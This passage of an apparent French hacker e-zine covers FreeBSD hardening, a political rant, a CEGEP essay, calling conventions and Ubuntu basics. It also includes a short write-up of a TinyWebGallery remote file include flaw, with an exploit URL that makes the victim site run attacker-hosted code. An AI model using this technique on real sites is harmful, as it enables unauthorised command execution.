Sysctl permet de modifier les comportements du système, un sysctl -a vous liste tout ce qui peut être modifié : Voici quelques exemples bien pratiques : - security.bsd.see_other_uids : si la valeur est a 0 les utilisateurs ne verront que leur propre precessus lors d'un ps et pas ceux de root ou des autres utilisateur. - net.inet.udp.log_in_vain : si la valeur est a 1, dans /var/log/message apparaitra les tentatives de connexion sur les ports qui ne sont pas en écoute sur votre machine. - net.inet.tcp.log_in_vain : idem pour tcp - net.inet.tcp.blackhole : permets de ne pas répondre au packet en erreur - net.inet.udp.blackhole: idem pour udp - net.inet.ip.random_id : si la valeur est a 1, permet d'incrémenter les packet de maniere aléatoire et pas de 1 en 1 - net.inet.ip.ttl : modifie le ttl d'un packet Pour eviter qu'un utilisateur sature votre serveur regardez aussi du cote de : - kern.maxprocperuid - kern.maxfilesperproc - kern.maxfiles - kern.ipc.somaxconn - kern.ipc.maxsockbuf Pour éviter de setter les paramètres a chaque démarrage mettez les en place dans /etc/sysctl.conf qui sera lu au boot de la machine.

IV) Jail :

Une jail est une prison cela sert a enfermer vos services dans un chroot évolué disposant de sa propre adresse ip. Cela permet qu'en cas d'attaque de votre serveur web le reste de la machine soit sain. Isoler les services est primordial. Si le hacker arrive a etre root sur votre jail il ne l'a pas sur le système en entier. Pour créer une jail (qui se rapport a un pseudo machine virtuelle) voici le procédé : cd /usr/src mkdir /prison make world DESTDIR=/prison make distribution DESTDIR=/prison À partir de la tout un OS se créer dans /prison Pour lance la prison faite : ifconfig ral0 inet alias 192.168.0.69 netmask 255.255.255.0 #pour créer la prison sur l'adresse 192.168.0.69 modifiée ral0 par votre interface reseau /sbin/mount_devfs devfs /prison_challenge/dev # créer les devices de la jail /usr/sbin/jail /prison_challenge/ prison_challenge 192.168.0.69 /bin/sh /etc/rc #lance la jail et les services Pour accéder a la jail et modifier ces parametres la commande : /usr/sbin/jail /prison_challenge/ prison_challenge 192.168.0.69 /bin/sh Vous ouvre directement un sh dans votre prison.... Voilà quelques cartes vous permettant de sécuriser un peu votre machine et de bien isole les services en cas de compromission du système. UNE VERSION AVEC SCREENSHOT EST DISSPONIBLE SUR
http://www.hackever.org Écrit par Oda __ __ __ _____ / / / /___ ______/ /_|__ / _____ _____ / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/ / __ / /_/ / /__/ ,< ___/ / |/ / __/ / /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/ - (c)Hack3ver - All rights reversed. topic .. ,.-.. ,.., | | .` `. | | |''| |`'---'`| |`'-`| |<<| | _____ | _,,..|[}{]|.,,, _,|<<|,, | \ D / | ,-`` |[}{]| ``', .` `..' `. | |A| | |-,, ``--'' _,-'| | `''--''` | | |T| | | ``'''------''`` | | [ 11 ] | | |A| | | [ Mindkind ] | `. ~~ .' | / \ | `-,, ] 1010 [ _,-' `''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''``` |<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]| ,``` .,-''``` |[ R ]| ``''-., |[}{]|, | `. _,,,,...|| E ||...,,,,, '|[}{]| | |`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'| | `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| | |`-,_ `````''''''---------'''''''````` |[}{]|'| | `''[ ]|[}{]| | |`-,_ [ Les feseux de veriter ]|[}{]|'| | `''[ ] |[}{]| | `-,_ [ ] _,,..|[}{]|.,,, |<;`'-.,,,_ ,-`` |[}{]| ``', ,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'| |`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` | |`-,_`''-.,,,_ `````'''''---------'''''````| ] C4 [ | |`-,_`''-.,,, `````''''''---------'''''''```-,, _,-' `-,_`''-.,,,[ ]``'''------''`` |<`|'-.,,,_[ ]_,,,.-|[}{]| |<<| `````''''''---------'''''''````` |[}{]| |<<| |]Aka: [| |[}{]| |<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__ |<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_ _.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-., ; -` | |T| |,.....----------..|[}{]|,,,_ `' ; |`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`| | ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` | | ````````''''''''''--------------''''''''''```````` | | | Nous ne sommes que peu nombreux à y voir clair. C'est la conclusion d'un certain faiseur de vérité, un certain clarity guy, qui nous explique, de son mieux, le socialisme. La mondialisation, dit-il, ne peut échapper à aucun peuple. Force est de constater que ce monsieur, aussi bien parlant soit-il, profite de ce régime, et ne veut en aucun cas son effondrement. Certes, on voudrait bien croire qu’il agit de sorte de bonne foi. Mais plus souvent qu'autrement, pour ne pas dire à tout les coups, les gardes du corps de la mondialisation ne sont que des biens nourris, à qui cette sois disant "ouverture du monde" leur servent plus que bien. Si le socialisme n'est nullement souhaitable, il serait de mise, que ce monsieur, pour ne pas dire ces messieurs, aille se faire voir. Ces pauvres types prétendent que l'avènement d'un état socialisme serait égal à une société contre la mondialisation. Méchante découverte! Comme si la mondialisation, le capitalisme et l'impérialisme étaient trois sujets complètement séparés l'un de l'autre. Je l'ai déjà dit, je l'avoue, mais ces trois phénomènes ne sont en réalité qu'un vaste sujet. Évidemment, notre faiseur de vérité en fait tout un plat. A l'écouter parler, on croirait qu'il faut avoir un doctorat en politique pour comprendre. Pas étonnant que le commun des mortels s'en désintéresse. Hors de tout doute, ces messieurs ne veulent pas qu'ont comprennent. Déjà, comprendre, c'est en quelque sorte se donner le droit de réfléchir. Avec toute la crasse qu'on nous passe, de Stars Épidémie à Loft Connerie, de King Kong à Mission Impossible 42, c'est encore plus plausible que leur but, c'est de nous divertir et surtout, de nous divertir à tout prix. Ces profiteurs du système n'ont pas le droit de nous laisser comprendre. Alors on complique tout. Pour qu'ont se sentent dans une société juste, on nous repasse les débats habituels : le prix du gaz, les familles monoparentales, on nous parle de tout et de rien, mais surtout de rien. Et le reste, ça passe dans le beurre. Les pseudos "nouvelles" que l'on nous passent via nos différents systèmes de propagandes médiatiques ne sont en réalité qu'un vaste recueil de divertissement. On a réussi, par le biais d'une désinformation totale, à faire passer une loi digne d'un régime totalitaire. Plus aucune cigarette dans les endroits publics. C'est tu assez gentil ? On se croirait au Pays des Merveilles, dans un film de Walt Disney. Tout le débat a été concentré autour de la cigarette, alors qu'on aurait du parler de l'implication d'un gouvernement de droite dans nos vies, pour ne pas dire Lieux privés. Notre gouvernement, qui taxe le tabac, engendre une mission de bonne conscience, et on l'applaudit. Comme si on était trop cave pour savoir que la cigarette est néfaste. Demain ça va être quoi ? L’interdiction des petites grosses dans les salons de coiffure ? Ça pourrait être un bon prétexte pour se blanchir les mains de leurs cochonneries de fast food américain. L'autre soirée, un certain type, dont j'oublie malheureusement le nom, ma demandé si j'étais fou, puisque je prétendais, dans la même discussion, que nous sommes un peuple opprimé. Il avait relativement raison; j'ai déjà avoué être à moitié fou. Je ne m'en cache pas. La question à se poser, c'est de savoir pourquoi on verrait, au grand jour, notre oppression ? Un système d'oppression, en construction depuis des centaines d'années, parfaitement mis au point ne serait que complètement raté si on s'en rendait compte aussi facilement. Or, tel n'est pas le cas. Et tel n'est rarement le cas, dans tout les systèmes d’oppression confondus. A quoi bon construire un système d'oppression s'il faut l'afficher sur les murs ? Ici, vous êtes opprimés. Ici, c'est moins pire. Ici, beaucoup plus. C'est quand même un peu plus subtil que ça . Loin de moi l'idée de me faire passer pour un messager venu des ténèbres pour vous apporter la bonne nouvelle ... mais plusieurs personnes dorment en gaz. Faudrait penser à les réveiller, un jour. Leur brasser les idées, juste pour voir ce qu'il en ressort. Enfermez un chien dans une cage toute sa vie, et il finira par s’y faire. Il ne se révoltera qu'après avoir pris conscience (pour citer Orwell) de la pitié de son sort. Un minimum d'intelligence requis, évidemment. Mais tel n'est pas le cas présentement pour un chien : il finira pas s'y habituer. Il en va de même pour l'humain. L'habitude peut devenir une sécurité très réconfortante. A quoi bon se révolter, diront certains ? A ceux-ci, je leur répondrais que leur "belle vie" se caractérise par la révolte des dernières décennies. Alors maintenant, Ceux qui profitent tant bien de la révolte des autres, ne veulent plus avancer ? Sans la révolution française, où en serions nous présentement ? Personne ne connait évidemment la réponse, mais on peut affirmer, sans trop se tromper, que l'on serait encore plus opprimés. Sans Malcolm X, que se serait-il passé ? Sans Luther king Jr. que se serait-il passé pour le droit des noirs ? Sans Mary Wollstonecraft, où en seraient les droits des femmes ? Évidemment, on ne peut que répondre de façon hypothétique, en avouant, du même souffle, que ces personnes ont chacunes fait avancer leur cause. Alors maintenant, me direz vous, il faut oublier ces héros et s'assoir sur ce qu'ils ont commencé à bâtir ? C'est pourtant la conclusion de l'autre tarla, le faiseur de vérité. Assez farfelu comme vérité, je vous l'accorde. Il s'agit de la seule et unique vérité qui nous pollue le cerveau, minute après minute, heure après heure, jour après jour. Le politically correctness ne nous permet plus de réfléchir, sous peine d'être arrogant, méchant, impoli, vulgaire. La révolution n'est plus souhaitable, ni le socialisme, ni rien, prétendent-ils. Qu'est-il souhaitable alors ? Qu'on sauvegarde leur régime ? Qu’on continue de les aider, passivement, à se remplir les poches ? Qu'on change de coté ? Collectivement, ça fait des décennies que l'on se laisse faire, qu'on les regarde de bas, de très bas. Ne faudrait toujours pas frustrer l’ordre établi, ne faudrait surtout pas ébranler la "patente". Des plans pour se faire traiter d'extrémiste par les vieux bloucs de la mafia canadienne. Des plans pour se faire varloper à droite et à gauche, car on a osé réfléchir. C'est ben plus intéressant de faire un dossier de 9 pages sur les débats amoureux de l'autre twit dans loft connerie. Ca, c'est de la résistance, hein monsieur ? Ça, c'est ce qu'ils aiment. Alors demain, à mon réveil, mieux vaut parler du swiffer wet jet 2008, j'aurais été averti. Avec toute la puissance que cet appareil me donne, ainsi qu'une liberté absolue dans mes mouvements, comment ne pourrais-je pas baver devant cette merveille de la technologie ? (...) Blague à part, on se rend compte assez vite que nos aspirations peuvent être rapidement minimisées. Pour certains, nous sommes que des wannabe Che Guevara, des pseudos socialistes, des ti-counes qui tripent sur la révolution. Peut-être, ça nous arrive tous, un jour ou l'autre, de se prendre au sérieux. Peut-être même trop, des fois pas assez, des fois pas du tout. Et alors ? On va se laisser faire la morale par une gang de bourgeois grassement payés ? Comme disait Léo Ferré, ce qui est encombrant dans la morale, c'est que c'est toujours la morale des autres. Alors cette fois ici, c'est notre morale. Pas la leur, pas celle de leur patron, pas celle du PDG, pas celle du premier ministre, pas celle d'un curé de paroisse. C'est la nôtre : c'est notre pensée, nos idées, nos rêves, nos aspirations. A un moment donné, faudrait arrêter de les écouter radoter leur même toune plate. J'ai le gout de chanter un autre toune, celle que j'ai apprise. J'ai été mal élevé, probablement. Mais j'ai le gout, aujourd'hui, qu'on chante notre toune. Celle que Orwell chantait, celle que Camus chantait. Celle que Léo Ferré nous a apprise à chanter. La même toune qui passait dans les neurones révoltés de Malcolm X. Cette toune la, sacrament, c'est celle-là que je veux chanter, avec tous ceux et celles qui veulent la chanter. Plus besoin d'explication. Fini, na pu. Si les fesseux de vérité affirment, sans l'ombre d'un doute, que le socialisme mène à la destruction d'un pays, pourquoi je devrais justifier mes dires ? Non, le socialisme ne mène pas à la destruction de l'état. Il faut minimiser l'écart entre les riches et les pauvres. C'est pas très compliqué, me semble ? Pourquoi, de notre côté, on doit passer notre vie à se justifier ? Eux, ils ont des chiffres de leur côté. Mais ce qu'ils ne nous disent pas, c'est que ce sont leurs chiffres. Nous, on a notre parole, notre intelligence, notre imagination, notre détermination. Oui, le socialisme est souhaitable. Il est nécessaire et justifiable. Arrêtons de perdre notre temps à se justifier, jour après jour. Nécessaire et justifiable. Cette fois ici, c'est notre vérité, c'est notre moral, c'est notre refrain. Il n'y a pas de deuxième place, ni de pseudo socialisme. Qu'ont en finissent une bonne fois pour toute avec le capitalisme, le colonialisme, l'impérialisme américain et le néo-libéralisme canadien. c4. "Ce n'est pas la révolte en elle-même qui est noble, mais ce qu'elle exige." - Camus, (L'homme révolté) topic _________________________________________________________ | Entre-Articles Oda | _________________________________________________________| | / / | | / / | | / / | | / / | |/ / | | / & | / & | / / \ |/ [ Petite Faille Web ] | | Hier je m'amusais a lire du code source et je suis tombé sur | TinyWebGallery dans mon cas la version 1.4.2 j'ai pas essayé | sur les autres. Dans l'appli ils fournissent des exemples dans | le répertoire exemples du répertoire d'installe... En lisant un | peu le code je tombe sur un fichier image.php qui contient : | | include ($image . ".txt"); | | Ben ca alors ils auraient carrément pu l'appeler HACKME.php... | smile ( CF faille include ) à partir de la je dépose un fichier | oda.txt qui fait ceci sur mon serveur : | | | et je fait un | http://sitevictime.com/examples/page.php?http://monserveur.com/oda | et la haut miracle ca exécute la commande chez la victime... | | | Bon voila l'explication d'une simple faille include mais dans le | cas d'un produit tout fait que n'importe qui peut installer chez | lui smile Pour se protéger je vous conseille de virer les exemples | qu'ils fournissent avec leurs applis. | | UNE VERSION AVEC SCREENSHOT EST DISPONIBLE SUR http://www.hackever.org | ____| Ecrit par Oda __ __ __ _____ / / / /___ ______/ /_|__ / _____ _____ / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/ / __ / /_/ / /__/ ,< ___/ / |/ / __/ / /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/ - (c)Hack3ver - All rights reversed. .. ,.-.. ,.., | | .` `. | | |''| |`'---'`| |`'-`| |<<| | _____ | _,,..|[}{]|.,,, _,|<<|,, | \ D / | ,-`` |[}{]| ``', .` `..' `. | |A| | |-,, ``--'' _,-'| | `''--''` | | |T| | | ``'''------''`` | | [ 12 ] | | |A| | | [ Mindkind ] | `. ~~ .' | / \ | `-,, ] 1010 [ _,-' `''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''``` |<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]| ,``` .,-''``` |[ R ]| ``''-., |[}{]|, | `. _,,,,...|| E ||...,,,,, '|[}{]| | |`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'| | `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| | |`-,_ `````''''''---------'''''''````` |[}{]|'| | `''[ ]|[}{]| | |`-,_ [ Things that goes BOOM ]|[}{]|'| | `''[ ] |[}{]| | `-,_ [ ] _,,..|[}{]|.,,, |<;`'-.,,,_ ,-`` |[}{]| ``', ,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'| |`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` | |`-,_`''-.,,,_ `````'''''---------'''''````| ] Ninja [ | |`-,_`''-.,,, `````''''''---------'''''''```-,, _,-' `-,_`''-.,,,[ ]``'''------''`` |<`|'-.,,,_[ ]_,,,.-|[}{]| |<<| `````''''''---------'''''''````` |[}{]| |<<| |]Aka: [| |[}{]| |<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__ |<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_ _.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-., ; -` | |T| |,.....----------..|[}{]|,,,_ `' ; |`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`| | ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` | | ````````''''''''''--------------''''''''''```````` | | | "Things that goes BOOM" " Ninja Production Present " un vieux texte que j'ai retrouvé dans un fond de tiroir en fessant mon ménage annuel que je fais tous les six ans. Texte que j'avais écrit pour un cours de philosophie quelconque et que je trouve encore actuel, malgré que certains petits ajouts seraient on ne peut plus nécessaires. Et dans ma grande bonté et en toute humilité, je me suis dit qu'il était de mon devoir de vous faire part de cette réflexion sociale que vous trouverez, sans aucun doute, fondamentale. Dix-sept ou dix-huit ans: période où l'on devient adulte et responsable en prenant des décisions pour un avenir proche et/ou lointain. Ces décisions peuvent porter sur beaucoup de sujets différents comme "est-ce que je veux continuer mes études au niveau collégial ?" ou encore "qu'est-ce ce que j'ai l'intention de faire de ma vie ?". Ce genre de questions peut être posé avant même d'être au CEGEP, mais elles doivent avoir une réponse lors du cheminement collégial. Il est vrai que nous devons nous tracer un chemin, suivre une voie pour évoluer et s'améliorer dans la vie. Mais les CEGEP contribuent-ils à cette prise de position, de décision par les étudiants ? Il est clair que ces établissements d'enseignement ne leur apportent guère un support stable et solide. Il sera traité, dans ce court texte, de trois raisons pour lesquelles les écoles de niveau collégial, plus particulièrement les CEGEP, ne favorisent pas la formation à la vertu. Premièrement, le système d'éducation est basé sur le principe de "l'obligation de résultats". En second lieu, il n'organise pas ou presque pas de mise en pratique des connaissances acquises et troisièmement, il prône la formation de masse. Le ministère de l'éducation a conçu le système d'éducation collégiale, ainsi que celui du niveau secondaire et universitaire, sur le principe que l'on peut nommer "l'obligation de résultats". Cela veut dire que le succès du programme d'étude est basé sur la réussite de l'élève par rapport à sa note obtenue lors d'exercices d'évaluation se référant à des critères définis. Or, l'élève n'a qu'à étudier certains points de la matière donnée en classe pour avoir les résultats de passage. L'étudiant peut donc focaliser les centres d'intérêts de son professeur, et ainsi prévoir d'une certaine façon les genres de questions qui vont lui être demandées. Il peut dès lors se préparer sur une partie de la matière et ainsi réussir à obtenir les exigences minimales demandées pour réussir son cours. De ce fait, les cours donnés ne forment pas la personne humaine à la vertu, ils forment plutôt des gens qui chercheront les bonnes réponses à un nombre limité d'évènements et/ou situations sans jamais se développer en tant qu'être humain parce qu'ils ne s'enrichiront pas d'un savoir non limité par des objectifs. Non seulement les CEGEP fonctionnent par "l'obligation de résultats" mais ils ne permettent pas de pratiquer les connaissances acquises dans les cours autres que les cours techniques. Par exemple, un étudiant en science humaine profil communication n'a pas d'activité lui permettant de mettre en pratique les connaissances qu'il a reçues lors d'un cours, comme des stages ou des simulations d'évènements réels dans un milieu très peu contrôlé. Seuls les programmes techniques comme "Informatique de gestion", "Soins infirmiers", "Techniques policières", etc. permettent et obligent les étudiants à mettrent en pratique le savoir transmis par leurs professeurs. De plus, même dans ces programmes, seuls certains cours intègrent des projets de mise en pratique dans un milieu de travail. Ces projets se déroulent dans des environnements non contrôlés, par opposition aux situations qui sont prédéfinies dans un livre ou gérées par la main protectrice de l'enseignant qui crée des évènements parfaits pour simuler une réalité qui ne l'est pas. Le collégial, d'une façon générale, ne permet pas d'enrichir l'être humain en lui permettant de voir et s'adapter aux vrais problèmes puisqu'il ne favorise pas la mise en pratique, dans un environnement réel, des connaissances acquises. En plus des environnements contrôlés pour la mise en pratique du savoir, si mise en pratique il y a, l'éducation de masse est un point marquant du CEGEP puisque d'année en année, le nombre d'étudiants augmente dans les classes. Les professeurs sont donc moins disponibles pour aider tous les étudiants. Inévitablement, le côté personnel de l'enseignement est remplacé par l'impersonnalité administrative et le savoir transmis par les professeurs est moins bien assimilé et moins riche en informations. L'éducation de masse oblige les enseignants à prendre du recul par rapport aux étudiants pour pouvoir donner leur matière dans les temps prévus. Ce recul entraine une certaine perte du lien qui devrait être créé entre le professeur et les étudiants puisque ce dernier doit s'occuper de beaucoup plus d'élèves. Ainsi, ce n'est plus à la personne, à l'être humain, que l'on enseigne, mais plutôt à un groupe identifié par un numéro, dont chaque individu le composant est lui-même devenu un numéro. L'étudiant peut percevoir une fausse indifférence à son cas puisque l'on a perdu le rapprochement, le lien "intime", entre ce dernier et l'enseignant. L'être humain est donc, encore une fois, négligé et beaucoup d'autres choses (diffusion de toute la matière, respect de l'échéancier, le groupe, etc.) passent désormais avant lui. Pour conclure, le système d'éducation, tel que défini par le ministère de l'éducation, ne prend pas les mesures nécessaires pour favoriser le développement à la vertu. Le système actuel met davantage l'accent sur "l'obligation de résultats", la mise en pratique contrôlée des connaissances et l'enseignement de masse, ce qui à comme conséquence de négliger l'étudiant en tant qu'être humain. Ninja _____ ________ ________ ______ ____ __ __ _ /____/ / // // /\ \\ \\ \ \ \ \\ \ ___ / ____//_______//__/ \__\\___\\_\ \_\ \\ \ | | | / / \ | | | | / /\ \ __|___|_|__| _______ ___ __/__/__\__\__ ___ __ __ _ __\\________\\______\\__\\____________//__//_/ /_/ // / |\\ | | | | | / / \ \ | \\| | \___/ | / / /\ \ \ | \ \ / / / / \ \ \ \ | \_______/ / / / /\ \ \ \ __|\\ |______________/ /___/ / \ \___\ \____ ___ __ _ | \\| / / \ \ |__\. topic _________________________________________________________ | Entre-Articles Ivanlef0u | _________________________________________________________| | / / | | / / | | / / | | / / | |/ / | | / & | / & | / / \ |/ [ Cleaning the stack ] | | Plop all, vous le savez certainement lors de l'appel d'une fonction en C le code | push sur la stack les arguments dans l'ordre inverse définit, le premier arg est | pushé en dernier et vice versa. Par contre lorsque la fonction est finie que | deviennent ces arguments ? :) il faut que la stack soit nettoyer afin que ca | ne devienne pas le bordel et pour cela il existe 2 façons de le faire, voici un | code qui les présentent: | | ------------CUT HERE-------------------- | __stdcall int foo1(int bouh1, int bouh2) | { | char buff[12]; | return bouh1; | } | | __cdecl int foo2(int bouh1, int bouh2) | { | char buff[12]; | return bouh2; | } | | int main() | { | foo1(0,-1); | foo2(0,-1); | ____| return 0; } ------------CUT HERE-------------------- __stdcall et __cdecl représentent évidemment une méthode de "nettoyage" différente. Mais pour plus de clarté, désassemblons tout ça. __stdcall int foo1(int bouh1, int bouh2) 00400870 /$ 55 PUSH EBP 00400871 |. 8BEC MOV EBP,ESP 00400873 |. 83EC 0C SUB ESP,0C 00400876 |. 8B45 08 MOV EAX,[ARG.1] 00400879 |. 8BE5 MOV ESP,EBP 0040087B |. 5D POP EBP 0040087C \. C2 0800 RET 8 __cdecl int foo2(int bouh1, int bouh2) 0040087F /$ 55 PUSH EBP 00400880 |. 8BEC MOV EBP,ESP 00400882 |. 83EC 0C SUB ESP,0C 00400885 |. 8B45 0C MOV EAX,[ARG.2] 00400888 |. 8BE5 MOV ESP,EBP 0040088A |. 5D POP EBP 0040088B \. C3 RET main() 0040088C /$ 55 PUSH EBP 0040088D |. 8BEC MOV EBP,ESP 0040088F |. 6A FF PUSH -1 ; /Arg2 = FFFFFFFF 00400891 |. 6A 00 PUSH 0 ; |Arg1 = 00000000 00400893 |. E8 D8FFFFFF CALL appel.00400870 ; \appel.00400870 -> foo1 00400898 |. 6A FF PUSH -1 ; /Arg2 = FFFFFFFF 0040089A |. 6A 00 PUSH 0 ; |Arg1 = 00000000 0040089C |. E8 DEFFFFFF CALL appel.0040087F ; \appel.0040087F -> foo2 004008A1 |. 83C4 08 ADD ESP,8 004008A4 |. 33C0 XOR EAX,EAX 004008A6 |. 5D POP EBP 004008A7 \. C3 RET Au niveau de l'appel des fonctions rien ne change les arguments sont pushés dans l'ordre inverse: -1 d'abord puis 0. A la fin de la fonction foo1 défini en convention __stdcall on voit: RET 8. Cette instruction signifie que l'on return et qu’en même tps on ajoute au pointer topstack (esp) 8 ce qui correspond à ta taille des 2 arguments, on se retrouve avec notre stack comme avec les push de l'appel, cool c'est clean. Par contre avec la fonction foo2 on ne voit pas de RET 8, mais après le call on voit ADD ESP,8 ouf :) notre stack est clean. En fait la différence c'est qu’en __stdcall c'est la fonction appelée qui nettoie la stack alors qu'en __cdecl c'est la fonction appelante qui fait le ménage. Pkoi une telle différence ? He bien prenez l'exemple de la fonction printf(), printf("%u %d %c %x",a,b,c,d); Cette fonction n'a pas un nombre finit d'arguments donc en convention __stdcall on aurait toujours le RET X mais qu'est ce qu'on met pour le X ? comme la fonction peut prendre n'importe quel nombre d'arguments on la définit en __cdecl ainsi comme la fonction appelante sait combien d'argument elle a pushé elle sait combien elle doit en dépiler :]. Donc __stdcall=fonctions avec un nombre d'arg finit. __cdecl=fonctions n'ayant par un nbr d'arg précis. Voilà une chtite chose tjrs bonne a savoir :} Ivanlef0u EMail:ivanlef0u119@yahoo.fr WebSite: http://membres.lycos.fr/moi118118 .. ,.-.. ,.., | | .` `. | | |''| |`'---'`| |`'-`| |<<| | _____ | _,,..|[}{]|.,,, _,|<<|,, | \ D / | ,-`` |[}{]| ``', .` `..' `. | |A| | |-,, ``--'' _,-'| | `''--''` | | |T| | | ``'''------''`` | | [ 13 ] | | |A| | | [ Mindkind ] | `. ~~ .' | / \ | `-,, ] 1010 [ _,-' `''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''``` |<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]| ,``` .,-''``` |[ R ]| ``''-., |[}{]|, | `. _,,,,...|| E ||...,,,,, '|[}{]| | |`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'| | `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| | |`-,_ `````''''''---------'''''''````` |[}{]|'| | `''[ ]|[}{]| | |`-,_ [ Get started with ubuntu linux ]|[}{]|'| | `''[ ] |[}{]| | `-,_ [ ] _,,..|[}{]|.,,, |<;`'-.,,,_ ,-`` |[}{]| ``', ,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'| |`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` | |`-,_`''-.,,,_ `````'''''---------'''''````| ] Burn3d [ | |`-,_`''-.,,, `````''''''---------'''''''```-,, _,-' `-,_`''-.,,,[ ]``'''------''`` |<`|'-.,,,_[ ]_,,,.-|[}{]| |<<| `````''''''---------'''''''````` |[}{]| |<<| |]Aka: [| |[}{]| |<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__ |<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_ _.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-., ; -` | |T| |,.....----------..|[}{]|,,,_ `' ; |`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`| | ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` | | ````````''''''''''--------------''''''''''```````` | | | { BurN3D: UbuntuLinux la base } Ceci est mon premier article, je vais essayer de faire de mon mieu pour vous expliquer la base de Ubuntu. UbuntuLinux est basé sur du debian mais n'est pas exactement pareil quelques trucs changent, mais pour l'instant je vais vous faire un petit tuto sur la base de linux en general: 1. Choisir son Linux 2. les principales commandes en console pour débuter 3. Un firewall facile à configurer 4. Garder son système a jour ------------------------------------------------ 1. Pour commencer ce tuto s'adresse a des gens qui ne se sont jamais servi de ce système d'exploitation. Pour ma part je vous conseille de débuter avec Ubuntulinux car il a une interface très facile d'utilisation sinon vous pouvez toujours allez en télécharger un autre sur Http://www.linuxiso.org. Pour télécharger Ubuntulinux { Http://www.ubuntu.com } de plus ils offrent l'envoie de cd gratuit, aucun frais cachés. ----------------------------------------------------------------- 2 Les Principales commandes en console 2.1 S'identifier en tant que root (su) 2.2 Se déplacer dans les différents dossiers (cd) 2.3 Savoir dans quel dossier on se trouve (pwd) 2.4 Lister les fichiers d'un dossier (ls) 2.5 Aperçue d'un fichier texte (cat) 2.6 Copier un fichier ou un dossier (cp) 2.7 Supprimer un fichier ou un dossier (rm) 2.8 Créer un dossier (mkdir) 2.9 Déplacer ou renommer un fichier ou un dossier (mv) 2.10 Décompresser et compresser des archives(tar, gzip) 2.11 Gestion des processus (top, ps, kill) ------------------------------------------------------------------ 2.1 S'identifier en tant que root (su) Pour s’identifier en tant que root il suffit d’utilisé la commande su et d’y entrer vôtre mot de passe root. Exemple : [root@mindkind /root]$ su Password : 2.2 Se déplacer dans les différents dossiers (cd) - La commande "cd" utilisée seule sert a revenir dans le répertoire racine de l'utilisateur Exemple : [root@mindkind /root/apps]$ cd [root@mindkind /root]$ - La commande "cd" suivie de 2 points "cd .." sert à revenir dans le dossier parent d’où vous vous trouvez Exemple : [root@mindkind /root/apps/azureus]$ cd .. [root@mindkind /root/apps]$ - La commande "cd" suivie d'un nom de dossier sert à aller dans celui-ci. Exemple : [root@mindkind /root/apps]$ cd azureus [root@mindkind /root/apps/azureus]$ -Et peut être suivi d'une arborescence Exemple 2 : [root@mindkind /root/apps]$ cd /etc/X11 [root@mindkind /etc/X11]$ 2.3 Savoir dans quel répertoire on se trouve (pwd) - La commande "pwd" sert à savoir dans quel répertoire qu'on se trouve Exemple : [root@mindkind /root/apps]$ pwd /root/apps [root@mindkind /root/apps]$ pwd 2.4 Lister les fichiers d'un répertoire (ls) - La commande "ls" sert a lister les fichier et dossiers qui se trouve dans un répertoire. Cette commande peut être utilisée avec plusieurs variantes. Les variantes les plus utilisées sont : "-l" : permet de lister les attributs (droits de lecture, d'écriture et d'exécution, le propriétaire, groupe, la taille en octets, sa date de création ou de modification) "-a" : liste tous les fichiers du répertoire, y compris les fichiers et dossiers cachés (fichiers ou dossiers précédés d'un point). "-m" : Affiche les fichiers en les séparant par une virgule au lieu de les présenter en colonnes. "-t" : Affiche les fichiers par date, c'est-à-dire en les classant du récent au plus ancien. "-lu" : Affiche les fichiers par date de dernier accès et indique cette date. "-F" :Affiche les fichiers par type. Un fichier suivi d'un "/" est un répertoire, un fichier suivi d'une étoile est un fichier exécutable et un fichier suivi d'un "@" est un lien. "-S" : Affiche les fichiers triés par ordre de taille décroissante. "-X" : Affiche les fichiers par type d'extension. "-r" :Affiche les fichiers en ordre alphabétiques inverses. Exemple : [root@mindkind /root/apps]$ ls -l -rwxr-xr-x 1 root root 2916 Nov 29 09:12 bash -rwxr-xr-x 1 root root 5650 Nov 02 2006 ash 2.5 Aperçue d'un fichier texte (cat) - La commande cat permet d'avoir un aperçue rapide du contenue d'un fichier contenant du texte. Exemple : [root@mindkind /root]$ cat .bashrc # /root/bashrc # System wide functions and aliases Environment stuff goes in /etc/profile # by default, we want this to get set. Even for non-interactive, non-login she if [ `id -gn` = `id -un` -a `id -u` -gt 